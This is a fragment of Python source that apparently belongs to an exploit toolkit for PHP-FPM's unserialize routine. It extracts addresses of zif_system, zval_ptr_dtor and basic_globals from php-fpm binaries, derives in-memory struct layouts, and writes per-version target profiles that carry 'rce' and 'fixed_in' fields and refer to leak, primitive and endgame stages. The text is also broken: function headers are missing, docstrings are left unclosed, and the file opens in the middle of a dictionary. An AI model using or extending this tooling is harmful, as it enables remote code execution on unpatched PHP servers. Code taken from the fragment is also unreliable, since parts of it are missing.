"7.2": None,

"7.4": None,

"8.2": "8.2.35",

"8.3": "8.3.36",

"8.4": "8.4.27",

"unserialize_data": {

"last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24,

"ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56,

"size": 8216,

},

"var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018},

"zval": {"value": 0, "type_info": 8, "context": 12, "size": 16},

"zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16,

"nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32,

"pDestructor": 48},

"zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24},

"zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24},

"zend_execute_data": {"opline": 0, "call": 8, "return_value": 16,

"func": 24, "num_args": 44, "arg1": 80},

"bucket": {"val": 0, "h": 16, "key": 24},

"""Return the offsets of the required symbols from ``nm -n`` output.

alias_map: dict[str, str] = {}

for canonical in SYMBOLS:

for alias in SYMBOL_ALIASES.get(canonical, (canonical,)):

alias_map[alias] = canonical

found: dict[str, int] = {}

for line in text.splitlines():

parts = line.split()

if len(parts) < 3:

continue

address, name = parts[0], parts[2]

canonical = alias_map.get(name)

if canonical is None or canonical in found:

continue

try:

found[canonical] = int(address, 16)

except ValueError:

continue

missing = [name for name in SYMBOLS if name not in found]

if missing:

raise ValueError(f"missing symbols: {', '.join(missing)}")

proc = subprocess.run(["nm", "-n", binary], capture_output=True, text=True)

if proc.returncode != 0:

detail = proc.stderr.strip() or f"nm exited {proc.returncode}"

raise RuntimeError(f"cannot read symbols from {binary}: {detail}")

"""Compile the offsets helper against a build's headers and run it."""

include = os.path.join(prefix, "include", "php")

if not os.path.isdir(include):

raise RuntimeError(f"no PHP headers under {include}")

cc = os.environ.get("CC", "cc")

with tempfile.TemporaryDirectory() as tmp:

binary = os.path.join(tmp, "offsets")

cmd = [

cc, "-O0", "-o", binary, OFFSETS_C,

f"-I{include}", f"-I{os.path.join(include, 'main')}",

f"-I{os.path.join(include, 'Zend')}", f"-I{os.path.join(include, 'TSRM')}",

f"-I{os.path.join(include, 'ext')}",

f"-I{os.path.join(include, 'ext', 'date', 'lib')}",

]

proc = subprocess.run(cmd, capture_output=True, text=True)

if proc.returncode != 0:

detail = (proc.stderr or proc.stdout).strip().splitlines()

tail = "\n".join(detail[-8:])

raise RuntimeError(f"offsets helper failed to compile:\n{tail}")

run = subprocess.run([binary], capture_output=True, text=True)

if run.returncode != 0:

raise RuntimeError(f"offsets helper failed: {run.stderr.strip()}")

"""Parse ``struct php_unserialize_data`` from the PHP source tree.

candidates = []

for relative in ("ext/standard/var_unserializer.c",

"ext/standard/var_unserializer.re",

"ext/standard/php_var.c"):

path = os.path.join(source_dir, relative)

if os.path.isfile(path):

candidates.append(path)

if not candidates:

raise RuntimeError(f"no var_unserializer source under {source_dir}")

text = ""

for path in candidates:

with open(path, encoding="utf-8", errors="replace") as handle:

text = handle.read()

if "struct php_unserialize_data" in text:

break

match = re.search(r"struct php_unserialize_data\s*\{(.*?)\n\};", text, re.S)

if not match:

raise RuntimeError("php_unserialize_data definition not found")

body = match.group(1)

# every member is a pointer or a zend_long: 8 bytes on the 64-bit builds

# this repository supports

members: list[str] = []

for line in body.splitlines():

line = line.split("/*")[0].strip()

if not line or line.startswith("//") or not line.endswith(";"):

continue

declaration = line[:-1].strip()

if not declaration:

continue

name = declaration.split()[-1].lstrip("*").split("[")[0]

members.append(name)

if not members:

raise RuntimeError("php_unserialize_data has no members")

offsets = {name: 8 * index for index, name in enumerate(members)}

max_match = re.search(r"#define\s+VAR_ENTRIES_MAX\s+(\d+)", text)

if not max_match:

raise RuntimeError("VAR_ENTRIES_MAX not found")

entries_max = int(max_match.group(1))

if "entries" not in offsets:

raise RuntimeError("php_unserialize_data has no entries member")

# embedded block: var_entries {used_slots, next, zval *data[MAX]}

var_entries = {"used_slots": 0, "next": 8, "data": 16,

"max": entries_max}

size = offsets["entries"] + 16 + 8 * entries_max

return {

"offsets": offsets,

"var_entries": var_entries,

"size": size,

"""Full layout dictionary for a build."""

layout = copy.deepcopy(DEFAULT_LAYOUT)

try:

offsets = compile_offsets(prefix)

except (RuntimeError, OSError, ValueError) as exc:

print(f"[!] offsets helper: {exc}", file=sys.stderr)

offsets = {}

if offsets:

layout["bg"] = {

"unserialize_data": offsets["bg"]["unserialize_data"],

"unserialize_level": offsets["bg"]["unserialize_level"],

}

for key in ("zval", "zend_array", "zend_reference", "zend_string",

"zend_execute_data", "bucket"):

if key in offsets:

layout[key] = offsets[key]

if source_dir:

try:

parsed = parse_unserialize_struct(source_dir)

except (RuntimeError, OSError) as exc:

print(f"[!] unserialize layout: {exc}", file=sys.stderr)

else:

# the parse covers every member of the struct, so it replaces the

# defaults instead of merging into them: PHP <= 7.3 has no

# cur_depth/max_depth and no embedded entries block at all

layout["unserialize_data"] = dict(parsed["offsets"])

layout["unserialize_data"]["size"] = parsed["size"]

layout["var_entries"] = parsed["var_entries"]

distro: str = "debian", arch: str = "amd64",

fixed_in: str | None = None,

layout: dict | None = None) -> dict:

profile = copy.deepcopy(template)

branch = ".".join(version.split(".")[:2])

profile.update({

"name": f"php-{version}-fpm",

"php_version": version,

"branch": branch,

"fixed_in": fixed_in or FIXED_IN.get(branch, "unknown") or UNPATCHED,

"verified": False,

"rce": False,

"distro": distro,

"arch": arch,

"status": (

"Draft profile: symbols extracted with nm and struct layouts "

"derived from the build headers/source; allocator, reclaim, "

"no-oracle, and leak geometry copied from the template and NOT "

"calibrated. Run leak/primitive/endgame in a lab and update the "

"geometry and verified flags before trusting this profile."

),

})

profile["libphp"]["zif_system"] = hex(symbols["zif_system"])

profile["libphp"]["zval_ptr_dtor"] = hex(symbols["zval_ptr_dtor"])

profile["fpm"]["basic_globals"] = hex(symbols["basic_globals"])

if layout:

profile["layout"] = copy.deepcopy(layout)

profile["fpm"]["bg_unserialize_data_off"] = \

layout["bg"]["unserialize_data"]

profile["fpm"]["bg_unserialize_level_off"] = \

layout["bg"]["unserialize_level"]

profile["fpm"]["struct_size"] = layout["unserialize_data"]["size"]

"""Render JSON with the small objects kept on a single line."""

pad = " " * indent

if isinstance(value, dict):

if not value:

return "{}"

if all(not isinstance(v, (dict, list)) for v in value.values()):

inner = ", ".join(f"{json.dumps(k)}: {json.dumps(v)}"

for k, v in value.items())

return "{" + inner + "}"

items = [f'{pad} {json.dumps(k)}: {_render(v, indent + 1)}'

for k, v in value.items()]

return "{\n" + ",\n".join(items) + "\n" + pad + "}"

if isinstance(value, list):

if not value:

return "[]"

if all(not isinstance(v, (dict, list)) for v in value):

return "[" + ", ".join(json.dumps(v) for v in value) + "]"

items = [f'{pad} {_render(v, indent + 1)}' for v in value]

return "[\n" + ",\n".join(items) + "\n" + pad + "]"

"""Write a profile with the arrays of scalars kept on one line."""

with open(path, "w", encoding="utf-8") as handle:

handle.write(_render(profile))

if not os.path.isdir(RUNTIME):

return []

versions = []

for name in os.listdir(RUNTIME):

if name.startswith("php-") and os.path.isdir(os.path.join(RUNTIME, name)):

version = name[4:]

if os.path.isfile(os.path.join(RUNTIME, name, "sbin", "php-fpm")):

versions.append(version)

distro: str, arch: str, fixed_in: str | None,

force: bool) -> dict:

prefix = prefix_for(version)

binary = os.path.join(prefix, "sbin", "php-fpm")

if not os.path.isfile(binary):

raise RuntimeError(f"missing {binary}; build the version first")

with open(template_path, encoding="utf-8") as handle:

template = json.load(handle)

symbols = read_symbols(binary)

layout = build_layout(prefix, source_for(version))

profile = build_draft(version, symbols, template, distro=distro,

arch=arch, fixed_in=fixed_in, layout=layout)

if os.path.exists(output) and not force:

raise RuntimeError(f"{output} exists; pass --force to overwrite")

dump_json(profile, output)

parser = argparse.ArgumentParser(description=__doc__.splitlines()[0])

parser.add_argument("--php-fpm", default=None,

help="path to the php-fpm binary to inspect")

parser.add_argument("--version", default=None,

help="PHP version, for example 8.4.25")

parser.add_argument("--all", action="store_true",

help="generate a draft for every built version")

parser.add_argument("--template",

default=os.path.join(ROOT, "profiles",

"8.4.26-fpm.json"),

help="known-good profile to copy geometry from")

parser.add_argument("--output", default=None,

help="output path (default profiles/<version>-fpm.json)")

parser.add_argument("--distro", default="debian")

parser.add_argument("--arch", default="amd64")

parser.add_argument("--fixed-in", default=None)

parser.add_argument("--force", action="store_true",

help="overwrite an existing output file")

args = parser.parse_args()

if args.all:

versions = built_versions()

if not versions:

print(f"[!] no built versions under {RUNTIME}")

return 1

else:

if not args.version:

parser.error("--version is required (or use --all)")

versions = [args.version]

failures = 0

for version in versions:

output = args.output or os.path.join(

ROOT, "profiles", f"{version}-fpm.json")

if args.all and args.output:

output = args.output

try:

result = generate(version, args.template, output, args.distro,

args.arch, args.fixed_in, args.force)

except (OSError, RuntimeError, ValueError, KeyError, TypeError) as exc:

print(f"[!] {version}: {exc}", file=sys.stderr)

failures += 1

continue

symbols = result["symbols"]

print(f"[+] wrote draft {output}")

print(f" zif_system=0x{symbols['zif_system']:x} "

f"zval_ptr_dtor=0x{symbols['zval_ptr_dtor']:x} "

f"basic_globals=0x{symbols['basic_globals']:x}")